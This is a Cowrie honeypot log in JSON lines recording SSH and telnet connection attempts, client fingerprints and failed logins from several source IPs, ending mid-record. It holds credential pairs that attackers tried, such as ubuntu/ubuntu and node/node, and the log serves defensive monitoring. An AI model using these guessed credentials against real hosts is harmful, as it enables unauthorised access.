{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:27.744788Z","src_ip":"2.57.122.238","session":"df2f7e165e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:27.837551Z","src_ip":"2.57.122.238","session":"df2f7e165e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:28.230551Z","src_ip":"2.57.122.238","session":"df2f7e165e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:29.332388Z","src_ip":"2.57.122.238","session":"df2f7e165e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":33754,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c804c94c9b4","protocol":"ssh","message":"New connection: 92.118.39.95:33754 (159.203.135.109:22) [session: 5c804c94c9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:38.711563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:38.716128Z","src_ip":"92.118.39.95","session":"5c804c94c9b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:38.812223Z","src_ip":"92.118.39.95","session":"5c804c94c9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$QWER","message":"login attempt [ubuntu/!@#$QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:39.105801Z","src_ip":"92.118.39.95","session":"5c804c94c9b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:40.202776Z","src_ip":"92.118.39.95","session":"5c804c94c9b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":39428,"dst_ip":"159.203.135.109","dst_port":22,"session":"dae54871aaad","protocol":"ssh","message":"New connection: 185.156.73.233:39428 (159.203.135.109:22) [session: dae54871aaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:45.195803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:47.871494Z","src_ip":"185.156.73.233","session":"dae54871aaad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:48.016507Z","src_ip":"185.156.73.233","session":"dae54871aaad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anonymous","password":"","message":"login attempt [anonymous/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:49.568348Z","src_ip":"185.156.73.233","session":"dae54871aaad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:50.721569Z","src_ip":"185.156.73.233","session":"dae54871aaad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.183.113.107","src_port":35314,"dst_ip":"10.17.0.5","dst_port":23,"session":"80acfd54d0f4","protocol":"telnet","message":"New connection: 59.183.113.107:35314 (10.17.0.5:23) [session: 80acfd54d0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:02.986804Z"}
{"eventid":"cowrie.session.closed","duration":12.812134504318237,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:15.798839Z","src_ip":"59.183.113.107","session":"80acfd54d0f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":43074,"dst_ip":"159.203.135.109","dst_port":22,"session":"11984e7ce220","protocol":"ssh","message":"New connection: 135.181.101.111:43074 (159.203.135.109:22) [session: 11984e7ce220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:34.325939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:34.329810Z","src_ip":"135.181.101.111","session":"11984e7ce220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:34.437384Z","src_ip":"135.181.101.111","session":"11984e7ce220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smooth","password":"smooth1","message":"login attempt [smooth/smooth1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:34.656055Z","src_ip":"135.181.101.111","session":"11984e7ce220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:35.766302Z","src_ip":"135.181.101.111","session":"11984e7ce220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":42084,"dst_ip":"159.203.135.109","dst_port":22,"session":"813ddb3f5b20","protocol":"ssh","message":"New connection: 64.176.195.200:42084 (159.203.135.109:22) [session: 813ddb3f5b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:38.901697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:38.905825Z","src_ip":"64.176.195.200","session":"813ddb3f5b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:38.910759Z","src_ip":"64.176.195.200","session":"813ddb3f5b20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cz","password":"CZ2017","message":"login attempt [cz/CZ2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:38.925860Z","src_ip":"64.176.195.200","session":"813ddb3f5b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:34:39.933443Z","src_ip":"64.176.195.200","session":"813ddb3f5b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58046,"dst_ip":"10.17.0.5","dst_port":22,"session":"99483ae5a4dd","protocol":"ssh","message":"New connection: 2.57.122.238:58046 (10.17.0.5:22) [session: 99483ae5a4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:47.078619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:47.083683Z","src_ip":"2.57.122.238","session":"99483ae5a4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:47.187641Z","src_ip":"2.57.122.238","session":"99483ae5a4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:47.499799Z","src_ip":"2.57.122.238","session":"99483ae5a4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":51704,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8fff48b4ce8","protocol":"ssh","message":"New connection: 92.118.39.95:51704 (159.203.135.109:22) [session: c8fff48b4ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:48.095934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:48.100729Z","src_ip":"92.118.39.95","session":"c8fff48b4ce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:48.200451Z","src_ip":"92.118.39.95","session":"c8fff48b4ce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWER!@#$","message":"login attempt [ubuntu/QWER!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:48.503445Z","src_ip":"92.118.39.95","session":"c8fff48b4ce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:48.608851Z","src_ip":"2.57.122.238","session":"99483ae5a4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:35:49.605851Z","src_ip":"92.118.39.95","session":"c8fff48b4ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":42228,"dst_ip":"159.203.135.109","dst_port":22,"session":"e701fcb66091","protocol":"ssh","message":"New connection: 45.148.10.121:42228 (159.203.135.109:22) [session: e701fcb66091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:50.867096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:50.871933Z","src_ip":"45.148.10.121","session":"e701fcb66091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"